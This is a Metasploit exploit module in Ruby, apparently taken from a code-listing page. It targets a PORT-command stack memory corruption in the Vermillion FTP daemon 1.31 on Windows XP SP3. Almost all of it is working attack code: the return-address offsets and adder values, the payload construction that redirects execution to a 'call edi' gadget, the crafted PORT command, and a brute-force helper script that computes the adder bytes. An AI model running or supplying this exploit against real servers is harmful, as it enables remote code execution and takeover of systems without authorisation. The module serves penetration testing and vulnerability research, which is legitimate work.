1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 |
## # $Id: vermillion_ftpd_port.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption', 'Description'=> %q{ This module exploits an out-of-bounds array access in the Arcane Software Vermillion FTP server. By sending an specially crafted FTP PORT command, an attacker can corrupt stack memory and execute arbitrary code. This particular issue is caused by processing data bound by attacker controlled input while writing into a 4 byte stack buffer. Unfortunately, the writing that occurs is not a simple byte copy. Processing is done using a source ptr (p) and a destination pointer (q). The vulnerable function walks the input string and continues while the source byte is non-null. If a comma is encountered, the function increments the the destination pointer. If an ascii digit [0-9] is encountered, the following occurs: *q = (*q * 10) + (*p - '0'); All other input characters are ignored in this loop. As a consequence, an attacker must craft input such that modifications to the current values on the stack result in usable values. In this exploit, the low two bytes of the return address are adjusted to point at the location of a 'call edi' instruction within the binary. This was chosen since 'edi' points at the source buffer when the function returns. NOTE: This server can be installed as a service using "vftpd.exe install". If so, the service does not restart automatically, giving an attacker only one attempt. }, 'Author' => [ 'jduck' # metasploit module ], 'Version'=> '$Revision: 10394 $', 'References' => [ [ 'OSVDB', '62163' ], [ 'URL', 'http://www.exploit-db.com/exploits/11293' ], [ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => true, 'Payload'=> { # format string max length 'Space'=> 1024, 'BadChars' => "\x00\x08\x0a\x0d\x2c\xff", 'DisableNops' =>'True' }, 'Platform' => 'win', 'Targets'=> [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true }], # # specific targets # [ 'vftpd 1.31 - Windows XP SP3 English', { # call edi in vftpd.exe (v1.31) 'OldRet' => 0x405a73, # not used directly 'Ret' => 0x4058e3, # not used directly 'Offset' => 16, # distance to saved return 'Adders' => "171,48"# adjust the bottom two bytes } ] ], 'DisclosureDate' => 'Sep 23 2009', 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(21), ], self.class ) end def check connect disconnect print_status("FTP Banner: #{banner}".strip) if banner =~ /\(vftpd .*\)/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") connect disconnect if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else print_status("No matching target") return end self.targets.each do |t| if (t.name =~ /#{version} - /) then mytarget = t break end end if (not mytarget) print_status("No matching target") return end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") end connect stuff = payload.encoded # skip 16 bytes stuff << "," * mytarget['Offset'] # now we change the return address to be what we want stuff << mytarget['Adders'] if (res = send_cmd(['PORT', stuff])) print_status(res.strip) end disconnect handler end end =begin NOTE: the following code was used to obtain the "Adders" target value. I'm not extremely pleased with this solution, but I haven't come up with a more elegant one... ========================= #!/usr/bin/env ruby # # usage: ./find_adder.rb <old ret> <new ret> # example: ./find_adder.rb 0x405a73 0x004058e3 # $old_ret = ARGV.shift.to_i(16) $new_ret = ARGV.shift.to_i(16) oret = [$old_ret].pack('V').unpack('C*') nret = [$new_ret].pack('V').unpack('C*') def process_idx(oret, nret, adders, idx) new_val = oret[idx] digits = adders[idx].to_s.unpack('C*') digits.each { |dig| dig -= 0x30 new_val = (new_val * 10) + dig } return (new_val & 0xff) end # brute force approach! final_adders = [ nil, nil, nil, nil ] adders = [] 4.times { |idx| next if (oret[idx] == nret[idx]) 10.times { |x| 10.times { |y| 10.times { |z| adders[idx] = (x.to_s + y.to_s + z.to_s).to_i val = process_idx(oret, nret, adders, idx) if (val == nret[idx]) final_adders[idx] = adders[idx] end break if (final_adders[idx]) } break if (final_adders[idx]) } break if (final_adders[idx]) } } # check/print the solution eret = [] 4.times { |idx| eret << process_idx(oret, nret, adders, idx) } final = eret.pack('C*').unpack('V')[0] if (final == $new_ret) puts final_adders.join(',') exit(0) end puts "unable to find a valid solution!" exit(1) =end |